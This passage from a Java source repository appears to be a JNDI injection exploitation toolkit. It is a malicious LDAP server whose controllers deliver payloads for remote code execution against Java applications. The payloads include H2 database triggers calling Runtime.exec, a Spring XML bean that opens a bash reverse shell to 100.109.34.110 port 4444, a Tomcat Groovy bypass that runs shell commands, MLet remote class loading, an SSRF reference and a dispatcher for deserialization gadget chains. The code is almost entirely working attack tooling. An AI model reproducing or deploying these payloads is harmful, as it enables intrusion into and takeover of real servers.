88 | String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
89 | "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
90 | "java.lang.Runtime.getRuntime().exec('" + cmd + "')\n" +
91 | "$$\n";
92 | ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
93 | ref.add(new StringRefAddr("url",JDBC_URL));
94 | ref.add(new StringRefAddr("username","root"));
95 | ref.add(new StringRefAddr("password","password"));
96 | ref.add(new StringRefAddr("initialSize","1"));
97 | return ref;
98 | }
99 |
100 | public static void main(String[] args) throws Exception {
101 | Class clazz = SpringMemshellTemplate.class;
102 | String classCode = Util.getClassCode(clazz);
103 | System.out.println(classCode);
104 | }
105 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/H2ClassPathXmlApplicationContext.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.utils.Util;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 | import com.unboundid.ldap.sdk.Entry;
9 | import com.unboundid.ldap.sdk.LDAPResult;
10 | import com.unboundid.ldap.sdk.ResultCode;
11 |
12 | import javax.naming.Reference;
13 | import javax.naming.StringRefAddr;
14 | import java.util.ArrayList;
15 | import java.util.List;
16 |
17 | // ref: [SolarWinds Security Event Manager AMF 反序列化 RCE (CVE-2024-0692)](https://xz.aliyun.com/t/14044)
18 | @LdapMapping(uri = { "/h2classpathxmlapplicationcontext" })
19 | public class H2ClassPathXmlApplicationContext implements LdapController{
20 |
21 | private PayloadType type;
22 | private String[] params;
23 |
24 | @Override
25 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
26 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
27 |
28 | Entry e = new Entry(base);
29 | e.addAttribute("javaClassName", "java.lang.String"); //could be any
30 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
31 | javax.naming.Reference ref = getResourceRefByClassPathXmlApplicationContext(params[0]);
32 |
33 | e.addAttribute("javaSerializedData", Util.serialize(ref));
34 |
35 | result.sendSearchEntry(e);
36 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
37 |
38 | System.out.println("[+] Done Sending LDAP ResourceRef result");
39 | }
40 |
41 | private static Reference getResourceRefByClassPathXmlApplicationContext(String xml_url) {
42 | List list = new ArrayList<>();
43 |
44 | // Drop the previous alias if exists
45 | list.add("DROP ALIAS IF EXISTS INVOKE_CONSTRUCTOR");
46 | list.add("DROP ALIAS IF EXISTS INVOKE_METHOD");
47 | list.add("DROP ALIAS IF EXISTS URI_CREATE");
48 | list.add("DROP ALIAS IF EXISTS CLASS_FOR_NAME");
49 |
50 | // Alias some external Java methods
51 | list.add("CREATE ALIAS INVOKE_CONSTRUCTOR FOR 'org.apache.commons.beanutils.ConstructorUtils.invokeConstructor(java.lang.Class, java.lang.Object)'");
52 | list.add("CREATE ALIAS INVOKE_METHOD FOR 'org.apache.commons.beanutils.MethodUtils.invokeMethod(java.lang.Object, java.lang.String, java.lang.Object)'");
53 | list.add("CREATE ALIAS URI_CREATE FOR 'java.net.URI.create(java.lang.String)'");
54 | list.add("CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)'");
55 |
56 | // Spring XML content
57 | String content = "\n" +
58 | " \n" +
62 | " \n" +
63 | " \n" +
64 | " \n" +
65 | " bash\n" +
66 | " -c\n" +
67 | " & /dev/tcp/100.109.34.110/4444 0>&1]]>\n" +
68 | "
\n" +
69 | " \n" +
70 | " \n" +
71 | " \n";
72 |
73 |
74 | // Add SQL statements for H2 database manipulation
75 | list.add("SET @uri=URI_CREATE('" + xml_url + "')");
76 | list.add("SET @xml_url_obj=INVOKE_METHOD(@uri, 'toString', NULL)");
77 | list.add("SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext')");
78 | list.add("CALL INVOKE_CONSTRUCTOR(@context_clazz, @xml_url_obj)");
79 |
80 | String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=" + String.join("\\;", list) + "\\;";
81 |
82 | Reference ref = new Reference("javax.sql.DataSource", "com.zaxxer.hikari.HikariJNDIFactory", null);
83 | ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
84 | ref.add(new StringRefAddr("jdbcUrl", url));
85 |
86 | // Here, you would return or use `ref` as needed in your context
87 | // In this static context, simply printing out to demonstrate
88 |
89 | return ref;
90 | }
91 |
92 | @Override
93 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
94 | try{
95 | int firstIndex = base.indexOf("/");
96 | int secondIndex = base.indexOf("/", firstIndex + 1);
97 | if(secondIndex < 0) secondIndex = base.length();
98 |
99 | try{
100 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
101 |
102 | // 只支持这一种
103 | if(type != PayloadType.url){
104 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type);
105 | }
106 |
107 | System.out.println("[+] Paylaod: " + type);
108 | }catch(IllegalArgumentException e){
109 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex));
110 | }
111 |
112 | switch (type){
113 | case url:
114 | String url = Util.getUrlFromBase(base);
115 | System.out.println("[+] Spring xml url: " + url);
116 | params = new String[]{url}; // 设置好url,待sendResult方法内使用
117 | break;
118 | }
119 | }catch(Exception e){
120 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
121 |
122 | throw new IncorrectParamsException("Incorrect params: " + base);
123 | }
124 | }
125 | }
126 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/H2DruidController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.exceptions.IncorrectParamsException;
4 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
5 | import com.feihong.ldap.template.SpringMemshellTemplate;
6 | import com.feihong.ldap.utils.Util;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 | import com.unboundid.ldap.sdk.Entry;
9 | import com.unboundid.ldap.sdk.LDAPResult;
10 | import com.unboundid.ldap.sdk.ResultCode;
11 | import org.apache.naming.ResourceRef;
12 |
13 | import javax.naming.Reference;
14 | import javax.naming.StringRefAddr;
15 |
16 | /*
17 | ldap://x.x.x.x:1389/druid
18 |
19 | Ref:
20 | https://b1ue.cn/archives/529.html
21 | https://xz.aliyun.com/t/10829
22 |
23 | TODO: 需要修改一下payload,没有成功。
24 | */
25 |
26 | @LdapMapping(uri = { "/h2druid" })
27 | public class H2DruidController implements LdapController {
28 |
29 | @Override
30 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
31 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
32 |
33 | Entry e = new Entry(base);
34 | e.addAttribute("javaClassName", "java.lang.String"); //could be any
35 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
36 | javax.naming.Reference ref = getResourceRefByDruid();
37 |
38 | e.addAttribute("javaSerializedData", Util.serialize(ref));
39 |
40 | result.sendSearchEntry(e);
41 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
42 |
43 | System.out.println("[+] Done Sending LDAP ResourceRef result");
44 | }
45 |
46 | @Override
47 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
48 | }
49 |
50 |
51 | private static Reference getResourceRefByDruid(){
52 | Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
53 | String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
54 | "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
55 | "java.lang.Runtime.getRuntime().exec('notepad')\n" +
56 | "$$\n";
57 | String JDBC_USER = "root";
58 | String JDBC_PASSWORD = "password";
59 |
60 | ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
61 | ref.add(new StringRefAddr("url",JDBC_URL));
62 | ref.add(new StringRefAddr("username",JDBC_USER));
63 | ref.add(new StringRefAddr("password",JDBC_PASSWORD));
64 | ref.add(new StringRefAddr("initialSize","1"));
65 | ref.add(new StringRefAddr("init","true"));
66 | return ref;
67 | }
68 |
69 | // public static void main(String[] args) throws Exception {
70 | // Class clazz = SpringMemshellTemplate.class;
71 | // String classCode = Util.getClassCode(clazz);
72 | // System.out.println(classCode);
73 | // }
74 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/JEditorPaneSSRFController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedActionTypeException;
6 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException;
7 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
8 | import com.feihong.ldap.utils.Util;
9 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
10 | import com.unboundid.ldap.sdk.Entry;
11 | import com.unboundid.ldap.sdk.LDAPResult;
12 | import com.unboundid.ldap.sdk.ResultCode;
13 | import org.apache.naming.ResourceRef;
14 |
15 | import javax.naming.StringRefAddr;
16 |
17 | @LdapMapping(uri = { "/jeditorpane" })
18 | public class JEditorPaneSSRFController implements LdapController {
19 |
20 | private PayloadType type;
21 | private String[] params;
22 |
23 | @Override
24 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
25 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
26 |
27 | Entry e = new Entry(base);
28 | e.addAttribute("javaClassName", "java.lang.String");
29 |
30 | ResourceRef ref = new ResourceRef("javax.swing.JEditorPane",
31 | null, "", "", true,
32 | "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
33 | ref.add(new StringRefAddr("page", params[0]));
34 |
35 | e.addAttribute("javaSerializedData", Util.serialize(ref));
36 |
37 | result.sendSearchEntry(e);
38 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
39 |
40 | System.out.println("[+] Done Sending LDAP ResourceRef result");
41 | }
42 |
43 | @Override
44 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
45 | try{
46 | int firstIndex = base.indexOf("/");
47 | int secondIndex = base.indexOf("/", firstIndex + 1);
48 | if(secondIndex < 0) secondIndex = base.length();
49 |
50 | try{
51 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
52 |
53 | // 只支持这一种
54 | if(type != PayloadType.url){
55 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type);
56 | }
57 |
58 | System.out.println("[+] Paylaod: " + type);
59 | }catch(IllegalArgumentException e){
60 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex));
61 | }
62 |
63 | switch (type){
64 | case url:
65 | String url = Util.getUrlFromBase(base);
66 | System.out.println("[+] Propertiy url: " + url);
67 | params = new String[]{url}; // 设置好url,待sendResult方法内使用
68 | break;
69 | }
70 | }catch(Exception e){
71 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
72 |
73 | throw new IncorrectParamsException("Incorrect params: " + base);
74 | }
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/LdapController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.exceptions.IncorrectParamsException;
4 | import com.feihong.ldap.exceptions.UnSupportedActionTypeException;
5 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException;
6 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 |
9 | public interface LdapController {
10 | void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception;
11 | void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException;
12 | }
13 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/LdapMapping.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import java.lang.annotation.ElementType;
4 | import java.lang.annotation.Retention;
5 | import java.lang.annotation.RetentionPolicy;
6 | import java.lang.annotation.Target;
7 |
8 | @Retention(RetentionPolicy.RUNTIME)
9 | @Target(ElementType.TYPE)
10 | public @interface LdapMapping {
11 | String[] uri();
12 | }
13 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/MkdirController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.utils.Util;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 | import com.unboundid.ldap.sdk.Entry;
9 | import com.unboundid.ldap.sdk.LDAPResult;
10 | import com.unboundid.ldap.sdk.ResultCode;
11 | import org.apache.naming.ResourceRef;
12 |
13 | import javax.naming.StringRefAddr;
14 |
15 | @LdapMapping(uri = { "/mkdir" })
16 | public class MkdirController implements LdapController{
17 |
18 | private PayloadType type;
19 | private String[] params;
20 |
21 | @Override
22 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
23 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
24 |
25 | Entry e = new Entry(base);
26 | e.addAttribute("javaClassName", "java.lang.String");
27 |
28 | ResourceRef ref = new ResourceRef("org.apache.commons.configuration2.SystemConfiguration",
29 | null, "", "", true,
30 | "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
31 | ref.add(new StringRefAddr("systemProperties", params[0]));
32 |
33 | e.addAttribute("javaSerializedData", Util.serialize(ref));
34 |
35 | result.sendSearchEntry(e);
36 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
37 |
38 | System.out.println("[+] Done Sending LDAP ResourceRef result");
39 | }
40 |
41 | @Override
42 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
43 | try{
44 | int firstIndex = base.indexOf("/");
45 | int secondIndex = base.indexOf("/", firstIndex + 1);
46 | if(secondIndex < 0) secondIndex = base.length();
47 |
48 | try{
49 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
50 |
51 | // 只支持这一种
52 | if(type != PayloadType.url){
53 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type);
54 | }
55 |
56 | System.out.println("[+] Paylaod: " + type);
57 | }catch(IllegalArgumentException e){
58 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex));
59 | }
60 |
61 | switch (type){
62 | case url:
63 | String url = Util.getUrlFromBase(base);
64 | System.out.println("[+] Propertiy url: " + url);
65 | params = new String[]{url}; // 设置好url,待sendResult方法内使用
66 | break;
67 | }
68 | }catch(Exception e){
69 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
70 |
71 | throw new IncorrectParamsException("Incorrect params: " + base);
72 | }
73 | }
74 | }
75 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import javax.naming.RefAddr;
4 | import java.util.Properties;
5 |
6 | //this is a stub class required by WebSphere2 ldap handler
7 | public class PropertiesRefAddr extends RefAddr {
8 | private static final long serialVersionUID = 288055886942232156L;
9 | private Properties props;
10 |
11 | public PropertiesRefAddr(String addrType, Properties props) {
12 | super(addrType);
13 | this.props = props;
14 | }
15 |
16 | public Object getContent() {
17 | return this.props;
18 | }
19 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/SerializedDataController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.GadgetType;
4 | import com.feihong.ldap.enumtypes.PayloadType;
5 | import com.feihong.ldap.exceptions.IncorrectParamsException;
6 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException;
7 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
8 | import com.feihong.ldap.utils.*;
9 | import com.feihong.ldap.gadgets.*;
10 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
11 | import com.unboundid.ldap.sdk.Entry;
12 | import com.unboundid.ldap.sdk.LDAPResult;
13 | import com.unboundid.ldap.sdk.ResultCode;
14 |
15 | @LdapMapping(uri = { "/deserialization" })
16 | public class SerializedDataController implements LdapController {
17 | private GadgetType gadgetType;
18 | private PayloadType payloadType;
19 | private String[] params;
20 |
21 | @Override
22 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
23 | System.out.println("[+] Send LDAP result for " + base + " with javaSerializedData attribute");
24 |
25 | //这个方法里面有改动,其他基本无改动
26 | Entry e = new Entry(base);
27 | byte[] bytes = null;
28 | switch (gadgetType){
29 | case urldns:
30 | bytes = URLDNS.getBytes(params[0]);
31 | break;
32 | case commonsbeanutils1:
33 | bytes = CommonsBeanutils1.getBytes(payloadType, params);
34 | break;
35 | case commonsbeanutils2:
36 | bytes = CommonsBeanutils2.getBytes(payloadType, params);
37 | break;
38 | case commonsbeanutils2_2:
39 | bytes = CommonsBeanutils2_2.getBytes(payloadType, params);
40 | break;
41 | case commonsbeanutils192withoutcc:
42 | bytes = CommonsBeanutils192WithoutCC.getBytes(payloadType, params);
43 | break;
44 | case commonscollectionsk1:
45 | bytes = CommonsCollectionsK1.getBytes(payloadType, params);
46 | break;
47 | case commonscollectionsk2:
48 | bytes = CommonsCollectionsK2.getBytes(payloadType, params);
49 | break;
50 | case commonscollections4: // Added by cqq on 20222-9-2
51 | bytes = CommonsCollections4.getBytes(payloadType, params);
52 | break;
53 | case jdk7u21:
54 | bytes = Jdk7u21.getBytes(payloadType, params);
55 | break;
56 | case jre8u20:
57 | bytes = Jre8u20.getBytes(payloadType, params);
58 | break;
59 | case C3P0_LowVer:
60 | bytes = CommonsBeanutils192WithoutCC.getBytes(payloadType, params);
61 | break;
62 | case c3p0:
63 | bytes = C3P0.getBytes(payloadType, params);
64 | break;
65 | case jackson1:
66 | bytes = Jackson1.getBytes(payloadType, params);
67 | break;
68 | case jackson2:
69 | bytes = Jackson2.getBytes(payloadType, params);
70 | break;
71 | case jackson22:
72 | bytes = Jackson22.getBytes(payloadType, params);
73 | break;
74 | case jackson222:
75 | bytes = Jackson222.getBytes(payloadType, params);
76 | break;
77 | case jackson3:
78 | bytes = Jackson3.getBytes(payloadType, params);
79 | break;
80 | case jackson4:
81 | bytes = Jackson4.getBytes(payloadType, params);
82 | break;
83 | case fastjson1:
84 | bytes = Fastjson1.getBytes(payloadType, params);
85 | break;
86 | case fastjson2:
87 | bytes = Fastjson2.getBytes(payloadType, params);
88 | break;
89 | }
90 |
91 | e.addAttribute("javaClassName", "foo");
92 | e.addAttribute("javaSerializedData",bytes);
93 | result.sendSearchEntry(e);
94 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
95 |
96 | System.out.println("[+] Done Sending LDAP ResourceRef result");
97 | }
98 |
99 | @Override
100 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException {
101 | try{
102 | int firstIndex = base.indexOf("/");
103 | int secondIndex = base.indexOf("/", firstIndex + 1);
104 | try{
105 | gadgetType = GadgetType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
106 | System.out.println("[+] GaddgetType: " + gadgetType);
107 | }catch(IllegalArgumentException e){
108 | throw new UnSupportedGadgetTypeException("UnSupportGaddgetType: " + base.substring(firstIndex + 1, secondIndex));
109 | }
110 |
111 | if(gadgetType == GadgetType.urldns){
112 | String url = "http://" + base.substring(base.lastIndexOf("/") + 1);
113 | System.out.println("[+] URL: " + url);
114 | params = new String[]{url};
115 | return;
116 | }
117 |
118 | int thirdIndex = base.indexOf("/", secondIndex + 1);
119 | if(thirdIndex < 0) thirdIndex = base.length();
120 | try{
121 | payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
122 | System.out.println("[+] PayloadType: " + payloadType);
123 | }catch (IllegalArgumentException e){
124 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
125 | }
126 |
127 | switch(payloadType){
128 | case dnslog:
129 | String url = base.substring(base.lastIndexOf("/") + 1);
130 | System.out.println("[+] URL: " + url);
131 | params = new String[]{url};
132 | break;
133 | case command:
134 | String cmd = Util.getCmdFromBase(base);
135 | System.out.println("[+] Command: " + cmd);
136 | params = new String[]{cmd};
137 | break;
138 | case reverseshell:
139 | String[] results = Util.getIPAndPortFromBase(base);
140 | System.out.println("[+] IP: " + results[0]);
141 | System.out.println("[+] Port: " + results[1]);
142 | params = results;
143 | break;
144 | }
145 |
146 | }catch(Exception e){
147 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
148 | if(e instanceof UnSupportedGadgetTypeException) throw (UnSupportedGadgetTypeException)e;
149 |
150 | throw new IncorrectParamsException("Incorrect params: " + base);
151 | }
152 | }
153 |
154 | public static void main(String[] args) {
155 | }
156 | }
157 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/TomcatGroovyBypassController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.utils.*;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 | import com.unboundid.ldap.sdk.Entry;
9 | import com.unboundid.ldap.sdk.LDAPResult;
10 | import com.unboundid.ldap.sdk.ResultCode;
11 | import org.apache.naming.ResourceRef;
12 | import javax.naming.StringRefAddr;
13 |
14 | /*
15 | * Requires:
16 | * - Tomcat and Groovy in classpath
17 | *
18 | * @author https://twitter.com/orange_8361 and https://github.com/welk1n
19 | *
20 | * Groovy 语法参考:
21 | * - https://xz.aliyun.com/t/8231#toc-7
22 | * - https://my.oschina.net/jjyuangu/blog/1815945
23 | * - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
24 | */
25 |
26 | @LdapMapping(uri = { "/tomcatgroovybypass" })
27 | public class TomcatGroovyBypassController implements LdapController {
28 | private PayloadType type;
29 | private String[] params;
30 | private String template = " if (System.properties['os.name'].toLowerCase().contains('windows')) {\n" +
31 | " ['cmd','/C', '${cmd}'].execute();\n" +
32 | " } else {\n" +
33 | " ['/bin/sh','-c', '${cmd}'].execute();\n" +
34 | " }";
35 |
36 | @Override
37 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
38 | System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload");
39 |
40 | Entry e = new Entry(base);
41 | e.addAttribute("javaClassName", "java.lang.String"); //could be any
42 |
43 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
44 | ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
45 | ref.add(new StringRefAddr("forceString", "x=evaluate"));
46 | ref.add(new StringRefAddr("x", template.replace("${cmd}", params[0]).replace("${cmd}", params[0])));
47 |
48 | e.addAttribute("javaSerializedData", Util.serialize(ref));
49 |
50 | result.sendSearchEntry(e);
51 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
52 |
53 | System.out.println("[+] Done Sending LDAP ResourceRef result");
54 | }
55 |
56 | @Override
57 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
58 | try{
59 | int firstIndex = base.indexOf("/");
60 | int secondIndex = base.indexOf("/", firstIndex + 1);
61 | if(secondIndex < 0) secondIndex = base.length();
62 |
63 | //因为我对 grovvy 的语法完全不懂,所以目前只支持执行命令这一种形式的 PayloadType
64 | String payloadType = base.substring(firstIndex + 1, secondIndex);
65 | if(payloadType.equalsIgnoreCase("command")){
66 | type = PayloadType.valueOf("command");
67 | System.out.println("[+] Paylaod: " + type);
68 | }else{
69 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
70 | }
71 |
72 | String cmd = Util.getCmdFromBase(base);
73 | System.out.println("[+] Command: " + cmd);
74 | params = new String[]{cmd};
75 | }catch(Exception e){
76 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
77 |
78 | throw new IncorrectParamsException("Incorrect params: " + base);
79 | }
80 | }
81 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/TomcatMLetController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.template.*;
7 | import com.feihong.ldap.utils.*;
8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
9 | import com.unboundid.ldap.sdk.Entry;
10 | import com.unboundid.ldap.sdk.LDAPResult;
11 | import com.unboundid.ldap.sdk.ResultCode;
12 | import org.apache.naming.ResourceRef;
13 | import javax.naming.StringRefAddr;
14 |
15 | /*
16 | ldap://x.x.x.x:1389/mlet
17 | */
18 |
19 | @LdapMapping(uri = { "/tomcatmlet" })
20 | public class TomcatMLetController implements LdapController {
21 | private PayloadType type;
22 | private String[] params;
23 |
24 | @Override
25 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
26 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
27 |
28 | Entry e = new Entry(base);
29 | e.addAttribute("javaClassName", "java.lang.String"); //could be any
30 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
31 | ResourceRef ref = getResourceRefByTomcatMLet(params[0]);
32 |
33 | e.addAttribute("javaSerializedData", Util.serialize(ref));
34 |
35 | result.sendSearchEntry(e);
36 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
37 |
38 | System.out.println("[+] Done Sending LDAP ResourceRef result");
39 | }
40 |
41 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
42 | try{
43 | int firstIndex = base.indexOf("/");
44 | int secondIndex = base.indexOf("/", firstIndex + 1);
45 | if(secondIndex < 0) secondIndex = base.length();
46 |
47 | try{
48 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
49 |
50 | // 只支持这一种
51 | if(type != PayloadType.url){
52 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type);
53 | }
54 |
55 | System.out.println("[+] Paylaod: " + type);
56 | }catch(IllegalArgumentException e){
57 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex));
58 | }
59 |
60 | switch (type){
61 | case url:
62 | String url = Util.getUrlFromBase(base);
63 | System.out.println("[+] javax management url: " + url);
64 | params = new String[]{url}; // 设置好url,待sendResult方法内使用
65 | break;
66 | }
67 | }catch(Exception e){
68 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
69 |
70 | throw new IncorrectParamsException("Incorrect params: " + base);
71 | }
72 | }
73 |
74 | private static ResourceRef getResourceRefByTomcatMLet(String manageUrl) {
75 | ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
76 | true, "org.apache.naming.factory.BeanFactory", null);
77 | ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
78 | ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
79 | ref.add(new StringRefAddr("b", manageUrl + "/javax.management.loading.MLet"));
80 | ref.add(new StringRefAddr("c", "Blue"));
81 | return ref;
82 | }
83 |
84 |
85 | public static void main(String[] args) throws Exception {
86 | Class clazz = SpringMemshellTemplate.class;
87 | String classCode = Util.getClassCode(clazz);
88 | System.out.println(classCode);
89 | }
90 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/TomcatMVELController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.template.SpringMemshellTemplate;
7 | import com.feihong.ldap.utils.Util;
8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
9 | import com.unboundid.ldap.sdk.Entry;
10 | import com.unboundid.ldap.sdk.LDAPResult;
11 | import com.unboundid.ldap.sdk.ResultCode;
12 | import org.apache.naming.ResourceRef;
13 |
14 | import javax.naming.StringRefAddr;
15 |
16 | /*
17 | ldap://x.x.x.x:1389/xstream
18 |
19 | Ref: https://b1ue.cn/archives/529.html
20 | */
21 |
22 | @LdapMapping(uri = { "/tomcatmvel" })
23 | public class TomcatMVELController implements LdapController {
